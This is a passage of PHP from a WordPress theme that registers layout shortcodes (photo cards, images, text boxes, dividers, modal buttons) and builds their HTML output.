'.html_entity_decode($title).' </h2> </li>'; return $output; } // ################################### // PhotoCard // ################################### add_shortcode('photocard', 'mtheme_photocard'); function mtheme_photocard( $atts, $content_richtext = null ) { extract(shortcode_atts(array( 'image' => '', 'imageid' => '', 'title' => '', 'text_align' => 'center', 'subtitle' => '', 'background_color' => '', 'button_status' => '', 'button' => '', 'video_mp4' => '', 'video_ogv' => '', 'video_webm' => '', 'animated' => 'none', 'content_color' => '', 'button_link' => '', 'image_block' => 'left', 'background_color' => '' ), $atts)); if ($animated != 'none') { $animated = 'animation-standby animated ' .$animated; } $opposite = 'column-float-left column-half'; if ($image_block=='left') { $opposite = 'column-float-right column-half'; } if ($image_block=='bottom') { $opposite = 'column-float-none image-set-bottom'; } if ($image_block=='top') { $opposite = 'column-float-none image-set-top'; } if ( !empty($imageid)) { $image_array = wp_get_attachment_image_src($imageid,'gridblock-full',false); //print_r($image_array); $image_src = $image_array[0]; } else { $image_src=$image; } if ($image_block=='bottom' || $image_block=='top' ) { $image_set = ' <div class="photocard-image-wrap"> <img class="fullwidth-image" src="'.esc_url($image_src).'" alt="'.esc_attr( mtheme_get_alt_text($imageid) ).'" /> </div>'; } else { $video_class=''; if ( !empty($video_mp4) && isSet($video_mp4) && $video_mp4!='' ) { $video_class = "photocard-video"; } $image_set = '<div class="photocard-image-wrap '.$video_class.' column-half column-float-'.$image_block.'">'; if ( !wp_is_mobile() ) { if ( !empty($video_mp4) && isSet($video_mp4) && $video_mp4!='' ) { $image_set .= '<div id="photocardvideo">'; $image_set .= '<video autoplay loop muted>'; $image_set .= '<source src="'.esc_url($video_mp4).'" type="video/mp4" />'; $image_set .= '<source src="'.esc_url($video_webm).'" type="video/webm" />'; $image_set .= '<source src="'.esc_url($video_ogv).'" type="video/ogv" />'; $image_set .= '<img class="photocardvideo-fallback-image" src="'.esc_url($image_src).'" alt="videofallback" />'; //$image_set .= '<div class="photocard-image-container" style="background-image:url('.esc_url($image_src).');"></div>'; $image_set .= '</video>'; $image_set .= '</div>'; } else { $image_set .= '<div class="photocard-image-container" style="background-image:url('.esc_url($image_src).');"></div>'; } } else { $image_set .= '<div class="photocard-image-container" style="background-image:url('.esc_url($image_src).');"></div>'; } $image_set .= '</div>'; } $css_style=""; if ( !empty( $background_color ) ) { $css_style = 'style="background-color:'.$background_color.';"'; } $content_set = ' <div class="photocard-content-wrap photocard-'. $content_color .' '.$opposite.'" '.$css_style.'> <div class="photocard-contents-inner text-align-'.$text_align.'"> <div class="heading-block"> <h2 class="photocard-title"> '.$title.' </h2> <h3 class="photocard-subtitle"> '.$subtitle.' </h3> </div> <div class="photocard-contents"> '. wpautop( html_entity_decode($content_richtext) ).' </div>'; if (!empty($button)) { $content_set .= ' <a href="'.esc_url($button_link).'"> <div class="mtheme-button animation-standby animated pulse"> '.$button.' </div> </a>'; } $content_set .= ' </div> </div>'; if ( $image_block=="bottom" ) { $final_set = $content_set . $image_set; } else { $final_set = $image_set . $content_set; } $output = ' <div class="photocard-wrap '.$animated.' clearfix"> '.$final_set.' </div> '; return $output; } add_shortcode('singleimage', 'mtheme_singleimage'); function mtheme_singleimage ( $atts, $content = null ) { extract(shortcode_atts(array( 'image' => '', 'imageid' => '', 'align' => '', 'link_url' => '', 'link_type' => '', 'animated' => '', 'paddingtop' => '', 'paddingbottom' => '' ), $atts)); if ($animated != 'none') { $animated = 'animation-standby animated ' .$animated; } if ($paddingtop>0) { $paddingtop = $paddingtop . 'px'; } if ($paddingbottom>0) { $paddingbottom = $paddingbottom . 'px'; } if ($link_url=="{{link_url}}") { $link_url=''; } if ($link_type=="{{link_type}}") { $link_type=''; } $open_link=''; $close_link=''; if ($link_url<>"") { if ($link_type<>"") { if ($link_type=="_blank") { $link_target = 'target="_blank"'; } if ($link_type=="_self") { $link_target = 'target="_self"'; } } $open_link = '<a '.$link_target.'href="'.esc_url($link_url).'">'; $close_link = '</a>'; } $extra_class = ''; if ($align == "fullwidth") { $align = "center"; $extra_class = "single-image-fullwidth "; } $output = '<div class="single-image-block '.$extra_class . $animated.'" style="padding-top:'.$paddingtop.';padding-bottom:'.$paddingbottom.';text-align:'.esc_attr($align).';">'; $output .= $open_link . '<img src="'.esc_url($image).'" alt="'.esc_attr( mtheme_get_alt_text($imageid) ).'"/>'.$close_link; $output .= '</div>'; return $output; } // Contents function mtheme_displaypagecontent($atts, $content = null) { extract(shortcode_atts(array( 'content' => '' ), $atts)); $content = get_the_content(); $content = apply_filters('the_content', $content); $output = do_shortcode($content); return $output; } add_shortcode('pagecontent', 'mtheme_displaypagecontent'); // Contents function mtheme_displayrichtext($atts, $content = null) { extract(shortcode_atts(array( 'content_richtext' => '' ), $atts)); $output = html_entity_decode($content_richtext); return $output; } add_shortcode('displayrichtext', 'mtheme_displayrichtext'); // TextBox function mtheme_textbox($atts, $content = null) { extract(shortcode_atts(array( 'padding_sides' => '0', 'padding_top' => '0', 'padding_bottom' => '0', 'margin_sides' => '0', 'margin_top' => '0', 'margin_bottom' => '0', 'text_color' =>'', 'background_color' =>'', 'border_size' => '1', 'border_color' => '', 'border_style' => 'solid', 'content_richtext' => '' ), $atts)); if ($padding_top <> 0) { $padding_top = $padding_top . 'px'; } if ($padding_bottom <> 0) { $padding_bottom = $padding_bottom . 'px'; } if ($padding_sides <> 0) { $padding_sides = $padding_sides . 'px'; } if ($margin_top <> 0) { $margin_top = $margin_top . 'px'; } if ($margin_bottom <> 0) { $margin_bottom = $margin_bottom . 'px'; } if ($margin_sides <> 0) { $margin_sides = $margin_sides . 'px'; } $border_size = 'border-width:'.$border_size.'px;'; $border_color = 'border-color:'.$border_color.';'; $border_style = 'border-style:'.$border_style.';'; $padding = 'padding: '.$padding_top. ' ' .$padding_sides.' '.$padding_bottom; $margin = 'margin: '.$margin_top. ' ' .$margin_sides.' '.$margin_bottom; $background = 'background-color: '.$background_color.';'; $text_color = 'color: '.$text_color.';'; $output = '<div style="'.$padding.';'.$margin.';'.$background.$text_color.$border_size.$border_color.$border_style.'">'; $output .= wpautop(html_entity_decode($content)); $output .= '</div>'; return $output; } add_shortcode('textbox', 'mtheme_textbox'); // Contents function mtheme_display_currentyear($atts, $content = null) { extract(shortcode_atts(array( 'content_richtext' => '' ), $atts)); $output = date('Y'); return $output; } add_shortcode('display_current_year', 'mtheme_display_currentyear'); // Hline function mtheme_hline($atts, $content = null) { extract(shortcode_atts(array( 'style' => 'single', 'height' => '1', 'linecolor' => '', 'top' => '30', 'bottom' => '' ), $atts)); $divider = ''; $stylecss ='margin-top:'.$top.'px;'; if ( isSet($bottom) && !empty($bottom) ) { $stylecss .= 'margin-bottom:'.$bottom.'px;'; } if ( isSet($linecolor) && !empty($linecolor) ) { $stylecss .= 'border-color:'.$linecolor.';'; } if ( isSet($height) && !empty($height) ) { $stylecss .= 'border-width:'.$height.'px;'; } $divider .= '<div class="clearfix hline-common hline-'.$style.'" style="'.$stylecss.'"></div>'; return $divider; } add_shortcode('hline', 'mtheme_hline'); //Button [button link="yourlink.html"] text [/button] function mtheme_Modal( $atts, $content = null ) { extract( shortcode_atts( array( 'link' => '#', 'modal_id' => '', 'buttontext' => '', 'button_icon' => '', 'target' => '', 'button_align' => '', 'button_color' => '', 'size'=> 'normal', ), $atts ) ); $uniqueID = uniqid(); $modalwindow_popup = ' <div class="modal-dimmer" id="'.$modal_id.'"> <div class="modal-dimmer-outer"> <div class="modal-dimmer-inner md-modal md-effect-2"> <div class="modal-dimmer-text md-content entry-content"> <div class="modal-close-button"><i class="simpleicon-close"></i></div> '.do_shortcode( wpautop( html_entity_decode($content) ) ).' </div> </div> </div> </div> '; $button = $modalwindow_popup; if ($target=="_blank") { $target=' target="_blank"'; } if ($button_align=="{{button_align}}") { $button_align=''; } if ($button_align=='') { $button_align_style=''; } else { $button_align_style= ' style="text-align:'.$button_align.';"'; } $button .= '<div class="button-shortcode button-shortcode-'.$uniqueID.'"'.$button_align_style.'>'; $button .= '<span data-modalid="'.$modal_id.'" class="modal-trigger-button">'; $button .= '<div class="mtheme-button animation-standby animated pulse">'; if (isSet($button_icon) && !empty($button_icon) ) { $button .= '<span class="button-icon"><i class="'.$button_icon.'"></i></span>'; } $button .= trim($buttontext); $button .= '</div>'; $button .= '</span>'; $button .= '</div>'; if (isSet($button_color) && !empty($button_color) ) { $button .= '<style>'; $button .= '.button-shortcode-'.$uniqueID.' .mtheme-button:after { background-color: '.$button_color.'; }'; $button .= '.button-shortcode-'.$uniqueID.' .mtheme-button { border-color: '.$button_color.'; color: '.$button_color.'; }'; $button .= '</style>'; } return $button; } add_shortcode('modalwindow', 'mtheme_Modal'); ?>